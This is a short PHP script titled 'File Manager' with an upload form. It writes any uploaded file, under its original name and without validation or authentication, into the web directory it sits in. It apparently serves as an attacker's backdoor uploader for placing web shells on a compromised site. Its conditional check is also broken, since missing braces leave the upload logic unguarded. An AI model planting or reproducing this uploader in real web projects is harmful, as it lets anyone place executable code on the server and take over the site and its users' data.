File Manager

<form method="post" enctype="multipart/form-data" action="">
<p>
<input type="file" name="upload" size="30"><br />
<input type="submit" name="upload" value="UPLOAD">
</p>
</form>

<?php
if( isset($_POST['upload']) )
$content_dir = './';

$tmp_file = $_FILES['upload']['tmp_name'];

if( !is_uploaded_file($tmp_file) )
{
exit("CANT UPLOAD");
}
$name_file = $_FILES['upload']['name'];

if( !move_uploaded_file($tmp_file, $content_dir . $name_file) )
{
exit("CANT UPLOAD TO $content_dir");
}

echo "OK   ITS DONE !!!!";
?>